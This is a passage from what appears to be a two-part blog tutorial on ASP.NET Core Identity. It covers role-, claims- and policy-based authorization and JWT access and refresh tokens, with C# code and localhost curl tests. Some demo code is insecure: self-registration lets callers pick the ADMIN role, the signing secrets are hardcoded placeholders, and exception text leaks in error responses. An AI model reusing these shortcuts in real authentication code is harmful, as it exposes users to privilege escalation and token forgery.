curl --location 'http://localhost:8080/api/usermanagement/register' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "testuser1@example.com",
  "password": "Test@1234",
  "confirmPassword": "Test@1234",
  "role": "USER",
  "age": 16
}'

One user with role ADMIN and age = 30. Here is the curl for this:

curl --location 'http://localhost:8080/api/usermanagement/register' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "testadmin@example.com",
  "password": "Test@1234",
  "confirmPassword": "Test@1234",
  "role": "ADMIN",
  "age": 30
}'

The AspNetUsers table should look like this:

Step 4 - Create `WeatherForecastController` if you do not have it yet

Assure that you route corresponds with the one bellow:

[ApiController]
[Route("api/[controller]")]
public class WeatherForecastController : ControllerBase
{
  //authorization code will go here
}

Now that we have the base setup, we can proceed to exemplify the 3 types of authorization.

Role-based authorization

Step 1 - Setup

The prerequisite for this authorization method is to have System.Security.Principal.ClaimsType.Role added to the access token.
Inside the TokenProviderHelper.GenerateAccessToken method, add the following line:

  // method implementation
  var claimsForToken = new List<Claim>
  {
      //other claims
      new(ClaimTypes.Role, role.ToUpper()),
      //other claims
  };

  // method implementation

Step 2 - Controller methods

Let's add the following GET methods: GetUserWeather and GetAdminWeather. Notice that they are marked with [Authorize(Roles = ApplicationRoles.User)] and [Authorize(Roles = ApplicationRoles.Admin)], respectively.

This means that:

The first method can only be accessed by a logged-in user with the USER role
The second method can only be accessed by a logged-in user with the ADMIN role

namespace DemoBackend.Controllers
{
    [ApiController]
    [Route("api/[controller]")]
    public class WeatherForecastController : ControllerBase
    {
        //roles authorization
        [Authorize(Roles = ApplicationRoles.User)]
        [HttpGet]
        [Route("user-weather")]
        public IActionResult GetUserWeather()
        {
            return Ok(Enumerable.Range(1, 5).Select(index => new WeatherForecast
            {
                Date = DateOnly.FromDateTime(DateTime.Now.AddDays(index)),
                TemperatureC = Random.Shared.Next(-20, 55),
                Summary = $"Only the {ApplicationRoles.User} has access to this"
            }).ToArray());
        }

        [Authorize(Roles = ApplicationRoles.Admin)]
        [HttpGet]
        [Route("admin-weather")]
        public IActionResult GetAdminWeather()
        {
            return Ok(Enumerable.Range(1, 5).Select(index => new WeatherForecast
            {
                Date = DateOnly.FromDateTime(DateTime.Now.AddDays(index)),
                TemperatureC = Random.Shared.Next(-20, 55),
                Summary = $"Only the {ApplicationRoles.Admin} has access to this"
            })
            .ToArray());
        }
    }
}

Step 3 - Testing

Log in with a user that has the role USER, then call GetUserWeather using the received access token—you should get the weather records. However, if you try to access GetAdminWeather, you should receive a 403 Forbidden status. Here is the curl command:

curl --location 'http://localhost:8080/api/weatherforecast/user-weather' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJjZDEyNWVlZi1jMDUwLTQ3MDktYTZjZi0yNmYxNDRkMmMzNDUiLCJ1c2VyRW1haWwiOiJ0ZXN0dXNlckBleGFtcGxlLmNvbSIsInVzZXJBZ2UiOiIyNSIsInVzZXJSb2xlIjoiVVNFUiIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwOC8wNi9pZGVudGl0eS9jbGFpbXMvcm9sZSI6IlVTRVIiLCJqdGkiOiI5YWU2YTI2Yi1jYTQwLTQzMjctOTY1Ny00NjcwOGU5ZjIxYWEiLCJuYmYiOjE3MzgzMjUxODksImV4cCI6MTczODMyODc4OSwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwIiwiYXVkIjoibXktd2ViLWFwaS1jbGllbnQifQ.mvwdpmgHCyHpbX5FbflUMaTw73Cry_sQQ8Hnv2XikRI'

Vice-versa, log in with a user that has the role ADMIN, then call GetAdminWeatherusing the received access token—you should get the weather records. However, if you try to access GetUserWeather, you should receive a 403 Forbiddenstatus. Here is the curl command:

curl --location 'http://localhost:8080/api/weatherforecast/admin-weather' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIyZjk4ZjAwMC1kYWUwLTQzODMtODNjMy0yZDczMGI3MTRkYzQiLCJ1c2VyRW1haWwiOiJ0ZXN0YWRtaW5AZXhhbXBsZS5jb20iLCJ1c2VyQWdlIjoiMzAiLCJ1c2VyUm9sZSI6IkFETUlOIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQURNSU4iLCJqdGkiOiJjNjliZjQ5NS00ZGNhLTQ3NmYtYjVlYS02M2EzOWIzOTRhNzkiLCJuYmYiOjE3MzgzMjYyNTQsImV4cCI6MTczODMyOTg1NCwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwIiwiYXVkIjoibXktd2ViLWFwaS1jbGllbnQifQ.z5f2m9Iy__TbP5bpoEoGqXM5es9q-ur1gmXH31VetFI'

Claims-based authorization

Step 1 - Setup

This type of authorization verifies whether an access token contains a specific claim and checks the value of that claim.

For example, let’s assume that a user under 18 is eligible for premium access to weather information. In code, we can enforce this by adding the following condition inside TokenProviderHelper.GenerateAccessToken:

  //if you are under 18 you get access to premium content
  if (user.Age < 18)
  {
      claimsForToken.Add(new(ApplicationClaims.AccessToPremium, ApplicationClaims.AccessToPremium));
  }

The second thing we need to do is to setup this check. We will create a new extension method for this:

namespace DemoBackend.Extensions
{
    public static class AuthorizationExtentions
    {
        public static void AddAuthorizationPolicies(this IServiceCollection services)
        {
            services.AddAuthorization(options =>
            {
                //claims based authorization
                options.AddPolicy(PoliciesConstants.Premium,
                    policy => policy.RequireClaim(ApplicationClaims.AccessToPremium, ApplicationClaims.AccessToPremium));
            });
        }
    }
}

Don't forget to register this new extension method in Program.cs:

//register the authorization policies
builder.Services.AddAuthorizationPolicies();

Step 2 - Controller methods

To apply the authorization we need to apply the following attribute: [Authorize(Policy = PoliciesConstants.Premium)].

namespace DemoBackend.Controllers
{
    [ApiController]
    [Route("api/[controller]")]
    public class WeatherForecastController : ControllerBase
    {
        //code omitted for brevity

        //claims based authorization
        [Authorize(Policy = PoliciesConstants.Premium)]
        [HttpGet]
        [Route("premium-weather")]
        public IActionResult GetPremiumWeather()
        {
            return Ok(Enumerable.Range(1, 7).Select(index => new WeatherForecast
            {
                Date = DateOnly.FromDateTime(DateTime.Now.AddDays(index)),
                TemperatureC = Random.Shared.Next(-20, 55),
                Summary = $"This is premium weather information"
            })
            .ToArray());
        }
    }
}

Step 3 - Testing

We need to log in with a user whose age is under 18. If we attempt to access this method with any other user, we will receive a 403 Forbidden status. Here is the curlcommand for this:

curl --location 'http://localhost:8080/api/weatherforecast/premium-weather' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJmYzAwYzkxMy0zYTk3LTRlYmQtYjQ2ZC1hNTQ0MjIwZjkwMjUiLCJ1c2VyRW1haWwiOiJ0ZXN0dXNlcjFAZXhhbXBsZS5jb20iLCJ1c2VyQWdlIjoiMTYiLCJ1c2VyUm9sZSI6IlVTRVIiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3JvbGUiOiJVU0VSIiwianRpIjoiZGVhYzRjYmMtNGMwNS00NGM3LWI2ZGUtZWRhMGJiYTNmNTBiIiwiYWNjZXNzVG9QcmVtaXVtIjoiYWNjZXNzVG9QcmVtaXVtIiwibmJmIjoxNzM4MzI2MzA4LCJleHAiOjE3MzgzMjk5MDgsImlzcyI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MCIsImF1ZCI6Im15LXdlYi1hcGktY2xpZW50In0.IluKD1N5jveY1xMYrejbODfBMTH7nvOCUkrAtFf57m0'

Policy-based authorization

Step 1 - Setup

Let’s say we want to restrict certain content for underage users (age < 18). To achieve this, we can create a policy for this specific use case.

The first step is to define a requirement, which would look something like this:

namespace DemoBackend.Policies
{
    public class MinimumAgeRequirement : IAuthorizationRequirement
    {
        public int MinimumAge { get; }

        public MinimumAgeRequirement(int minimumAge) => MinimumAge = minimumAge;
    }

    public class MinimumAgeHandler : AuthorizationHandler<MinimumAgeRequirement>
    {
        protected override Task HandleRequirementAsync(
            AuthorizationHandlerContext context,
            MinimumAgeRequirement requirement)
        {
            var age = context.User.FindFirst(ApplicationClaims.Age);

            if (age is null)
            {
                return Task.CompletedTask;
            }

            if (int.TryParse(age.Value, out var userAge))
            {
                if (userAge >= requirement.MinimumAge)
                {
                    context.Succeed(requirement);
                }
            }

            return Task.CompletedTask;
        }
    }
}

The second step would be to register this requirement. We can do it in the same extension method defined above. Final version of this extension method is:

namespace DemoBackend.Extensions
{
    public static class AuthorizationExtentions
    {
        public static void AddAuthorizationPolicies(this IServiceCollection services)
        {
            services.AddAuthorization(options =>
            {
                //claims based authorization (define above)
                options.AddPolicy(PoliciesConstants.Premium,
                    policy => policy.RequireClaim(ApplicationClaims.AccessToPremium, ApplicationClaims.AccessToPremium));

                //policy based authorization
                options.AddPolicy(PoliciesConstants.AgeRestriction,
                    policy => policy.Requirements.Add(new MinimumAgeRequirement(18)));
            });

           //register the age requirement
           services.AddSingleton<IAuthorizationHandler, MinimumAgeHandler>();
        }
    }
}

Step 2 - Controller methods

Now that the policy has been register, we can apply it to our method by adding the [Authorize(Policy = PoliciesConstants.AgeRestriction)]:

namespace DemoBackend.Controllers
{
    [ApiController]
    [Route("api/[controller]")]
    public class WeatherForecastController : ControllerBase
    {
       //code omitted for brevity

       //policy based authorization (must be at least 18 to access)
       [Authorize(Policy = PoliciesConstants.AgeRestriction)]
       [HttpGet]
       [Route("age-restricted-weather")]
       public IActionResult GetAgeRestrictedWeather()
       {
           return Ok(Enumerable.Range(1, 5).Select(index => new WeatherForecast
           {
               Date = DateOnly.FromDateTime(DateTime.Now.AddDays(index)),
               TemperatureC = Random.Shared.Next(-20, 55),
               Summary = $"This wheather info is age restricted"
           })
           .ToArray());
       }
    }
}

Step 3 - Testing

To properly test this, we need to log in with a user whose age is greater than 18. If we attempt to access this method with an underage user, we should receive a 403 Forbidden status. Here is the curl command for this:

curl --location 'http://localhost:8080/api/weatherforecast/age-restricted-weather' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJjZDEyNWVlZi1jMDUwLTQ3MDktYTZjZi0yNmYxNDRkMmMzNDUiLCJ1c2VyRW1haWwiOiJ0ZXN0dXNlckBleGFtcGxlLmNvbSIsInVzZXJBZ2UiOiIyNSIsInVzZXJSb2xlIjoiVVNFUiIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwOC8wNi9pZGVudGl0eS9jbGFpbXMvcm9sZSI6IlVTRVIiLCJqdGkiOiI5YWU2YTI2Yi1jYTQwLTQzMjctOTY1Ny00NjcwOGU5ZjIxYWEiLCJuYmYiOjE3MzgzMjUxODksImV4cCI6MTczODMyODc4OSwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwIiwiYXVkIjoibXktd2ViLWFwaS1jbGllbnQifQ.mvwdpmgHCyHpbX5FbflUMaTw73Cry_sQQ8Hnv2XikRI'

Conclusion

In this session, we implemented the three types of authorization:

Role-based authorization
Claims-based authorization
Policy-based authorization

Personally, I prefer using claims-based and policy-based authorization because they offer greater flexibility. Role-based authorization can often be handled using one of the other two methods, making it less essential in many cases.

In the next and final session, we will cover email and password changes using Identity, as well as discuss additional security options for a .NET Core API.

Token based Authentication using .NET Identity

Marian Salvan — Wed, 29 Jan 2025 18:51:01 +0000

Introduction

Token-based authentication is a security mechanism where users authenticate once and receive an access token, which is then used to access protected resources without needing to re-enter credentials. Access tokens have a limited lifespan, and when they expire, a refresh token can be used to obtain a new access token without requiring the user to log in again.

Tokens should be securely stored on the client—typically in HTTP-only cookies for better security or local storage (though this carries risks). If a token is compromised or a user logs out, the system can revoke the token, preventing further unauthorized access and enhancing security and session control.

In the previous session, we configured a basic .NET Core web API to use .NET Core Identity and generated the default Identity tables in PostgreSQL. In this session, we will build on that setup to illustrate how to implement token-based authentication.

This guide will contain the following sections:

Initial configuration
User registration
Tokens management
User login
Refresh tokens lifecycle

Initial configuration

Step 1 - Add JwtBearer nuget package:

dotnet add package Microsoft.AspNetCore.Authentication.JwtBearer

Step 2 - Add configuration

If you are running the service locally, then add the following section to your appsettings.json

{
  //other setttings
  "Authentication": {
    "TokenSecret": "thisisthesecretforgeneratingakey(mustbeatleast32bitlong)",
    "RefreshTokenSecret": "thisisthesecretforgeneratingakey(mustbeatleast32bitlong)",
    "Issuer": "http://localhost:8080",
    "Audience": "my-web-api-client"
  }
}

If you are running the service with Docker Compose, add the following configuration to the environment sections of you API:

#api configuration
environment:
  - Authentication__TokenSecret=thisisthesecretforgeneratingakey(mustbeatleast32bitlong)
  - Authentication__RefreshTokenSecret=thisisthesecretforgeneratingakey(mustbeatleast32bitlong)
  - Authentication__Issuer=http://localhost:8080
  - Authentication__Audience=my-web-api-client
  #other environment variables

Step 3 - Register the JwtConfiguration in the code

Settings record - the values for this record are specified above. The TokenSecret and RefreshTokenSecret are secret keys used to generate and validate access tokens and refresh tokens, respectively, ensuring security. The Issuer specifies the server that generates the tokens, while the Audience defines the intended recipient, ensuring only authorized clients can use the tokens

namespace DemoBackend.Configuration
{
    public record AuthenticationSettings
    {
        public required string TokenSecret { get; init; }
        public required string RefreshTokenSecret { get; init; }
        public required string Issuer { get; init; }
        public required string Audience { get; init; }
    }
}

Extension method for adding authorization

using DemoBackend.Configuration;
using Microsoft.AspNetCore.Authentication.JwtBearer;
using Microsoft.IdentityModel.Tokens;
using System.Text;

namespace DemoBackend.Extensions
{
    public static class AuthenticationExtensions
    {
        public static void AddJwtAuthentication(this IServiceCollection services, IConfiguration configuration)
        {
            var authSettings = configuration.GetSection("Authentication").Get<AuthenticationSettings>();

            services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
                .AddJwtBearer(options =>
                {
                    options.TokenValidationParameters = new TokenValidationParameters
                    {
                        ClockSkew = TimeSpan.Zero,
                        ValidateIssuer = true,
                        ValidateAudience = true,
                        ValidateIssuerSigningKey = true,
                        ValidIssuer = authSettings.Issuer,
                        ValidAudience = authSettings.Audience,
                        IssuerSigningKey = new SymmetricSecurityKey(Encoding.ASCII.GetBytes(authSettings.TokenSecret))
                    };
                });
        }
    }
}

Adding the configuration to Program.cs

var builder = WebApplication.CreateBuilder(args);

//register the authentication settings
builder.Services.Configure<AuthenticationSettings>(builder.Configuration.GetSection("Authentication"));

//register the authentication settings
builder.Services.AddJwtAuthentication(builder.Configuration);

//other registrations

var app = builder.Build();

//other registrations

app.UseAuthentication();

app.UseAuthorization();

//other registrations

Step 4 - `UserManagementController`

Now that we have everything set up, we can create a new controller to handle the user account workflow. UserManager is a class that can be found in .NET Core Identity that offers most of the methods you will need to operate on an UserEntity.

using DemoBackend.Configuration;
using DemoBackend.Constants;
using DemoBackend.Data;
using DemoBackend.Helpers;
using DemoBackend.Requests;
using DemoBackend.Responses;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Identity;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Options;
using System.Security.Claims;
using LoginRequest = DemoBackend.Requests.LoginRequest;
using RegisterRequest = DemoBackend.Requests.RegisterRequest;

namespace DemoBackend.Controllers
{
    [Route("api/[controller]")]
    [ApiController]
    public class UserManagementController : ControllerBase
    {
        private readonly UserManager<UserEntity> _userManager;
        private readonly AuthenticationSettings _authSettings;

        public UserManagementController(UserManager<UserEntity> userManager, IOptions<AuthenticationSettings> authSettings)
        {
            _userManager = userManager;
            _authSettings = authSettings.Value;
        }

      //implementation
     }
}

User registration

Step 1 - registration request

namespace DemoBackend.Requests
{
    public record RegisterRequest
    {
        public required string Email { get; set; }
        public required string Password { get; set; }
        public required string ConfirmPassword { get; set; }
        public required string Role { get; set; }
        public required int Age { get; set; }
    }
}

Step 2 - registration method

    [HttpPost("register")]
    public async Task<IActionResult> Register([FromBody] RegisterRequest registerRequest)
    {
        try
        {
            if (!registerRequest.Password.Equals(registerRequest.ConfirmPassword))
            {
                return BadRequest("Passwords do not match.");
            }

            if (!registerRequest.Role.Equals(ApplicationRoles.Admin) && !registerRequest.Role.Equals(ApplicationRoles.User))
            {
                return BadRequest("You must provide either ADMIN or USER roles");
            }

            var user = new UserEntity
            {
                UserName = registerRequest.Email,
                Email = registerRequest.Email,
                Age = registerRequest.Age
            };

            //create user
            var result = await _userManager.CreateAsync(user, registerRequest.Password);

            if (!result.Succeeded)
            {
                foreach (var error in result.Errors)
                {
                    ModelState.AddModelError(error.Code, error.Description);
                }
                return BadRequest(ModelState);
            }

            //assign proper rolo to the user
            if (!string.IsNullOrEmpty(registerRequest.Role))
            {
                await _userManager.AddToRoleAsync(user, registerRequest.Role);
            }

            return Ok("User registered successfully.");
        }
        catch (Exception ex)
        {
            return StatusCode(500, $"Internal server error: {ex.Message}");
        }
    }

Possible roles for a user:

namespace DemoBackend.Constants
{
    public static class ApplicationRoles
    {
        public const string Admin = "ADMIN";
        public const string User = "USER";
    }
}

Step 3 - testing registration

You can register a new user using the following curl:

curl --location 'http://localhost:8080/api/usermanagement/register' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "testuser@example.com",
  "password": "Test@1234",
  "confirmPassword": "Test@1234",
  "role": "USER",
  "age": 25
}'

If successful, the new user will be added into AspNetUsers table:

Tokens management

Before diving into other methods, we first need to focus on token generation. As mentioned in the introduction, we need two tokens: a short-lived access token and a long-lived refresh token.

The access token is used to grant users access to restricted resources. Since it expires fairly quickly, we need a refresh token—this token will be sent to a specialized refresh method that issues a new valid access token.

The refresh token has a longer lifespan and is stored in the database. Below is a helper class containing the three essential methods for this workflow: GenerateAccessToken, GenerateRefreshToken and ValidateRefreshToken.

using DemoBackend.Configuration;
using DemoBackend.Constants;
using DemoBackend.Data;
using Microsoft.IdentityModel.Tokens;
using System.IdentityModel.Tokens.Jwt;
using System.Security.Claims;
using System.Text;

namespace DemoBackend.Helpers
{
    public static class TokenProviderHelper
    {
        public static (string, DateTime) GenerateAccessToken(AuthenticationSettings authenticationSettings, UserEntity user, string role)
        {
            var securityKey = new SymmetricSecurityKey(Encoding.ASCII.GetBytes(authenticationSettings.TokenSecret));
            var signingCredentials = new SigningCredentials(securityKey, SecurityAlgorithms.HmacSha256);

            var claimsForToken = new List<Claim>
            {
                new(ApplicationClaims.Id, user.Id),
                new(ApplicationClaims.Email,!string.IsNullOrEmpty(user.Email) ? user.Email : string.Empty),
                new(ApplicationClaims.Age, user.Age.ToString()),
                new(ApplicationClaims.Role, role.ToUpper()),
                new(JwtRegisteredClaimNames.Jti, Guid.NewGuid().ToString()),
            };

            var expirationDate = DateTime.UtcNow.AddMinutes(15);

            var jwtSecurityToken = new JwtSecurityToken(
                          authenticationSettings.Issuer,
                          authenticationSettings.Audience,
                          claimsForToken,
                          DateTime.UtcNow,
                          expirationDate,
                          signingCredentials);

            var tokenToReturn = new JwtSecurityTokenHandler()
               .WriteToken(jwtSecurityToken);

            return (tokenToReturn, expirationDate);
        }

        public static string GenerateRefreshToken(AuthenticationSettings authenticationSettings)
        {
            var securityKey = new SymmetricSecurityKey(Encoding.ASCII.GetBytes(authenticationSettings.RefreshTokenSecret));
            var signingCredentials = new SigningCredentials(securityKey, SecurityAlgorithms.HmacSha256);
            var expirationDate = DateTime.UtcNow.AddHours(12);

            var jwtSecurityToken = new JwtSecurityToken(
                          authenticationSettings.Issuer,
                          authenticationSettings.Audience,
                          null,
                          DateTime.UtcNow,
                          expirationDate,
                          signingCredentials);

            var tokenToReturn = new JwtSecurityTokenHandler()
               .WriteToken(jwtSecurityToken);

            return tokenToReturn;
        }

        public static bool ValidateRefreshToken(AuthenticationSettings authenticationSettings, string refreshToken)
        {
            var securityKey = new SymmetricSecurityKey(Encoding.ASCII.GetBytes(authenticationSettings.RefreshTokenSecret));

            var validationParameters = new TokenValidationParameters()
            {
                IssuerSigningKey = securityKey,
                ValidIssuer = authenticationSettings.Issuer,
                ValidAudience = authenticationSettings.Audience,
                ValidateIssuerSigningKey = true,
                ValidateIssuer = true,
                ValidateAudience = true,
                ClockSkew = TimeSpan.Zero
            };

            var tokenHandler = new JwtSecurityTokenHandler();
            var result = tokenHandler.ValidateToken(refreshToken, validationParameters, out _);

            return result != null;
        }
    }
}

Notice that when we generate a new access token, we add a list of claims to the token. These claims are pieces of data about the user embedded in the access token. They can be used by the issuer of the login request (e.g., a web application may use the email and ID for subsequent requests).

In this demo app, the available claims are as follows:

namespace DemoBackend.Constants
{
    public static class ApplicationClaims
    {
        public const string Id = "userId";
        public const string Email = "userEmail";
        public const string Age = "userAge";
        public const string Role = "userRole";
    }
}

User login

Step 1 - login request

namespace DemoBackend.Requests
{
    public record LoginRequest
    {
        public required string Email { get; set; }
        public required string Password { get; set; }
    }
}

Step 2 - login method

If the login process is successful, this method will return the access token and the refresh token for that user.

  [HttpPost("login")]
  public async Task<IActionResult> Login([FromBody] LoginRequest loginRequest)
  {
      try
      {
          var user = await _userManager.FindByEmailAsync(loginRequest.Email);
          if (user == null)
          {
              return Unauthorized("Invalid email or password.");
          }

          var result = await _userManager.CheckPasswordAsync(user, loginRequest.Password);
          if (!result)
          {
              return Unauthorized("Invalid email or password.");
          }

          //fetch the user role so it can be addded on claims list inside the toke
          var userRoles = await _userManager.GetRolesAsync(user);
          var role = userRoles.FirstOrDefault() ?? string.Empty;

          //generate access token and refresh token
          var (token, expiration) = TokenProviderHelper.GenerateAccessToken(_authSettings, user, role.ToUpperInvariant());
          var refreshToken = TokenProviderHelper.GenerateRefreshToken(_authSettings);

          //save refresh token in the database
          //we will cover this in the refresh token section bellow
          var success = await _tokensRepository.UpsertUserRefreshTokenAsync(user.Id, refreshToken);
          if (!success)
          {
              return Unauthorized("Invalid refresh token.");
          }

          return Ok(new AuthenticationResponse
          { 
              AccessToken = token,
              AccessTokenExpirationTime = expiration,
              RefreshToken = refreshToken 
          });
      }
      catch (Exception ex)
      {
          return StatusCode(500, $"Internal server error: {ex.Message}");
      }
  }

Step 3 - testing login

You can login with an existing user using the following curl:

curl --location 'http://localhost:8080/api/usermanagement/login' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "testuser@example.com",
  "password": "Test@1234"
}'

If the login is successful, you will get a response that looks like the following:

{
    "accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJjZDEyNWVlZi1jMDUwLTQ3MDktYTZjZi0yNmYxNDRkMmMzNDUiLCJ1c2VyRW1haWwiOiJ0ZXN0dXNlckBleGFtcGxlLmNvbSIsInVzZXJBZ2UiOiIyNSIsInVzZXJSb2xlIjoiVVNFUiIsImp0aSI6ImFhZGUxN2MxLTU3MzYtNDE5ZS1iZjJmLTdlNGNmMjhkMDM2ZCIsIm5iZiI6MTczODE3MzM1NCwiZXhwIjoxNzM4MTc2OTU0LCJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjgwODAiLCJhdWQiOiJteS13ZWItYXBpLWNsaWVudCJ9.GAdBDFYvXD59reeTFg5KTfcmF0gB3WnQOvwbCjkuxg0",
    "refreshToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MzgxNzMzNTQsImV4cCI6MTczODIxNjU1NCwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwIiwiYXVkIjoibXktd2ViLWFwaS1jbGllbnQifQ.Iu176n8uCwzKOVmMdg4_8pMukbV0GqmkHGrVBXoVVm4",
    "accessTokenExpirationTime": "2025-01-29T18:55:54.3401878Z"
}

Step 4 - decoding an access token

Now that we have a valid access token we can go to https://jwt.io/ and decode it:

The access token consists of 3 parts: a header, payload (which contains the claims) and a signature (signed using our super secret key provided in the configuration).

Refresh tokens lifecycle

Great, we now have an access token. If you take a look at the TokenProviderHelper class above, you’ll notice that the validity of this token is only 15 minutes. This means you can only use this token for 15 minutes to access restricted resources. The short validity helps minimize the damage in case the token is stolen, as it’s stored on the client side.

This is where refresh tokens come in. Refresh tokens are stored in the database after a successful login. These tokens are then passed to a separate method to issue a new access token. If we want to log out and delete the refresh token, we need to implement another method to clean up the token. These 2 methods can only be accessed by a logged in users (they are marked with the [Authorize] attribute and the access token needs to passed in the Authorization header when making the request).

Step 1 - Implement a `TokenRepository` for these operations

using DemoBackend.Constants;
using Microsoft.AspNetCore.Identity;
using Microsoft.EntityFrameworkCore;

namespace DemoBackend.Data
{
    public interface ITokensRepository
    {
        Task<IdentityUserToken<string>?> GetUserRefreshTokenAsync(string refreshToken);
        Task<bool> UpsertUserRefreshTokenAsync(string userId, string refreshToken);
        Task<bool> RemoveUserRefreshTokenAsync(string userId);
    }

    public class TokensRepository(ApplicationDbContext applicationDbContext) : ITokensRepository
    {
        public async Task<IdentityUserToken<string>?> GetUserRefreshTokenAsync(string refreshToken)
        {
            return await applicationDbContext.UserTokens.SingleOrDefaultAsync(x => x.Value == refreshToken);
        }

        public async Task<bool> UpsertUserRefreshTokenAsync(string userId, string refreshToken)
        {
            var existingUserToken = await applicationDbContext.UserTokens
                .FindAsync(userId, UserTokenConstants.LocalProvider, UserTokenConstants.Refresh);

            if (existingUserToken == null)
            {
                applicationDbContext.UserTokens.Add(new IdentityUserToken<string>
                {
                    UserId = userId,
                    LoginProvider = UserTokenConstants.LocalProvider,
                    Name = UserTokenConstants.Refresh,
                    Value = refreshToken
                });
            }
            else
            {
                existingUserToken.Value = refreshToken;
                applicationDbContext.UserTokens.Update(existingUserToken);
            }

            return (await applicationDbContext.SaveChangesAsync()) == 1;
        }

        public async Task<bool> RemoveUserRefreshTokenAsync(string userId)
        {
            var userToken = await applicationDbContext.UserTokens
                .FindAsync(userId, UserTokenConstants.LocalProvider, UserTokenConstants.Refresh);

            if (userToken == null)
            {
                throw new ArgumentNullException(nameof(userId));
            }

            applicationDbContext.UserTokens.Remove(userToken);

            return (await applicationDbContext.SaveChangesAsync()) == 1;
        }
    }
}

We also need some custom constants to work with the table provided by Identity (AspNetUserTokens):

namespace DemoBackend.Constants
{
    public static class UserTokenConstants
    {
        public const string Refresh = "refresh";
        public const string LocalProvider = "local";
    }
}

Don't forget to register this Repository inside the DI container inProgram.csfile:


var builder = WebApplication.CreateBuilder(args);

//other registrations

//register TokensRepository
builder.Services.TryAddScoped<ITokensRepository, TokensRepository>();

//other registrations

Also, add the dependency to the UserManagementController:

  [Route("api/[controller]")]
  [ApiController]
  public class UserManagementController : ControllerBase
  {
      private readonly UserManager<UserEntity> _userManager;
      private readonly AuthenticationSettings _authSettings;
      private readonly ITokensRepository _tokensRepository;

      public UserManagementController(UserManager<UserEntity> userManager, IOptions<AuthenticationSettings> authSettings,
          ITokensRepository tokensRepository)
      {
          _userManager = userManager;
          _authSettings = authSettings.Value;
          _tokensRepository = tokensRepository;
      }

      //implementation
}

The login method mentioned above already integrates refresh token generation and saves it into the database. If you take a look at the AspNetUserTokens table, you will see the token generated during login:

Step 2 - Refresh token method

Method implementation:

   [Authorize]
   [HttpPost("refresh-token")]
   public async Task<IActionResult> RefreshToken([FromBody] RefreshTokenRequest refreshTokenRequest)
   {
       try
       {
           if (!TokenProviderHelper.ValidateRefreshToken(_authSettings, refreshTokenRequest.RefreshToken))
           {
               return Unauthorized("Invalid refresh token.");
           }

           var savedToken = await _tokensRepository.GetUserRefreshTokenAsync(refreshTokenRequest.RefreshToken);
           if (savedToken == null)
           {
               return Unauthorized("Invalid refresh token.");
           }

           var user = await _userManager.FindByIdAsync(savedToken.UserId);
           if (user == null)
           {
               return Unauthorized("Invalid refresh token.");
           }

           //since we are logged in we can get the role from the token
           var role = HttpContext.User.FindFirstValue(ApplicationClaims.Role);

           //generate access token and refresh token
           var (token, expiration) = TokenProviderHelper.GenerateAccessToken(_authSettings, user, role);

           return Ok(new RefreshTokenResponse
           {
               AccessToken = token,
               AccessTokenExpirationTime = expiration,
           });
       } 
       catch (Exception ex)
       {
           return StatusCode(500, $"Internal server error: {ex.Message}");
       }
   }

Method testing - you can use the following curl:

curl --location 'http://localhost:8080/api/usermanagement/refresh-token' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJjZDEyNWVlZi1jMDUwLTQ3MDktYTZjZi0yNmYxNDRkMmMzNDUiLCJ1c2VyRW1haWwiOiJ0ZXN0dXNlckBleGFtcGxlLmNvbSIsInVzZXJBZ2UiOiIyNSIsInVzZXJSb2xlIjoiVVNFUiIsImp0aSI6IjgwOGIzNGNlLTg2NmYtNDM2YS04N2YyLWRjYmVkNDllYWRlOCIsIm5iZiI6MTczODE3NDkyNCwiZXhwIjoxNzM4MTc4NTI0LCJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjgwODAiLCJhdWQiOiJteS13ZWItYXBpLWNsaWVudCJ9.fPhuRF5p3zWvVbXwqIn3RPK54WfuQn-8HIap3fS4wnE' \
--data '{
    "refreshToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MzgxNzQ5MjQsImV4cCI6MTczODIxODEyNCwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwIiwiYXVkIjoibXktd2ViLWFwaS1jbGllbnQifQ.uyfyRwLO9_Rfy_6U5s8Ymk8fXSnh4jEnk_9oD8qlYlg"
}'

If the refresh has been successful, we get a new access token:

{
